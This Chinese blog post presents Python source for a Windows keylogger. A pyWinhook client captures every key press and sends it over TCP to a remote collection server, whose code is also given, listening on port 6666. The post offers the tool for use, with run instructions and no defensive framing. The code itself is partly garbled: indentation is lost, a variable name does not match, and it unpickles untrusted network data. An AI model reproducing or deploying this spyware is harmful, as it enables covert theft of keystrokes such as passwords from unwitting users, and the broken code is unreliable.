python实现监听键盘

作者:noc_13 时间:2023-12-01 19:16:17 

python实现监听键盘,供大家参考,具体内容如下实现服务端


import pickle
from io import BytesIO
import socket

#接收数据
def Server_Recive(ip,port):
   socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
   socket_obj.bind((ip,port))
   socket_obj.listen(5)

file = 1

while True:
       connection,address = socket_obj.accept()
 #接受的数据
       recieved_message = b''
       recieved_message_fragment = connection.recv(1024)
       while recieved_message_fragment:
           recieved_message += recieved_message_fragment
           recieved_message_fragment = connection.recv(1024)

try:
           obj = pickle.loads(recieved_message)
           print(obj['Key'],end=' ')
       except EOFError:
           file_name = 'recv_image_' + str(file_on) + '.bmp'
           recv_image = open(file_name,'wb')
           recv_image.write(recieved_message)
           file_on += 1
       connection.close()

if __name__ == '__main__':
   Server_IP = '0.0.0.0'
   Server_Port = 6666
   Server_Recive(Server_IP,Server_Port)

键盘监听程序


#键盘监听

import pythoncom,pyWinhook,pickle,socket
from io import BytesIO

def Client_PIC(ip,port,obj):
   try:
       msg = pickle.dumps(obj)
       send_message = BytesIO(msg)
       send_message_fragment = send_message.read(1024)
   except:
       send_message = obj
       send_message_fragment = send_message.read(1024)

socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
   socket_obj.connect((ip,port))

while send_message_fragment:
       socket_obj.send(send_message_fragment)
       send_message_fragment = send_message.read(1024)

socket_obj.close()

def OnkeyBoardEvent(event):
   dict_key = {}
   dict_key['MessageName'] = event.MessageName
   dict_key['Key'] = event.Key

Client_PIC('你自己的ip地址',6666,dict_key)
   return True

def Keylogger():
   hm = pyWinhook.HookManager()
   hm.KeyDown = OnkeyBoardEvent
   hm.HookKeyboard()
   pythoncom.PumpMessages()

if __name__ == '__main__':
   Keylogger()

其中的pythoncom,pyWinhook百度查找安装方法,在此不赘述

运行(先运行服务端,而后运行监听程序)

python实现监听键盘

来源:https://blog.csdn.net/weixin_43893278/article/details/116087163

标签:python,监听键盘
0
投稿

猜你喜欢

  • 如何用SA-FileUp上传一个单纯的HTML文件?

    2010-05-18 18:29:00
  • 在Python中使用cookielib和urllib2配合PyQuery抓取网页信息

    2023-10-12 14:15:19
  • python中hashlib模块用法示例

    2023-03-20 12:20:13
  • Python中关键字nonlocal和global的声明与解析

    2023-08-01 13:11:10
  • itchat-python搭建微信机器人(附示例)

    2022-05-04 00:00:54
  • 楼层数横排比竖排好

    2008-04-26 07:28:00
  • SQL 查询性能优化 解决书签查找

    2012-10-07 10:23:56
  • python中sklearn的pipeline模块实例详解

    2021-09-05 00:57:34
  • Python中文件的写入读取以及附加文字方法

    2021-03-03 12:05:15
  • Python中注释(多行注释和单行注释)的用法实例

    2023-07-04 15:05:01
  • 细节设计之美:扩大可操作区域

    2009-08-01 11:32:00
  • python 实现docx与doc文件的互相转换

    2022-01-19 06:45:58
  • PHP中类静态调用和范围解析操作符的区别解析

    2023-11-15 07:38:39
  • 操作mysql数据库的类

    2010-03-13 12:53:00
  • python字符串中匹配数字的正则表达式

    2023-11-19 17:36:02
  • WIN2003无法上传较大的文件Request对象错误解决方法

    2007-08-10 09:44:00
  • .Net Core下使用Dapper的方法

    2023-07-16 17:19:17
  • Python3 pywin32模块安装的详细步骤

    2023-01-20 06:42:46
  • PHP hex2bin()函数用法讲解

    2023-06-06 18:51:35
  • Mootools 1.2教程(10)——Fx.Tween的使用

    2008-12-02 18:03:00
  • asp之家 网络编程 m.aspxhome.com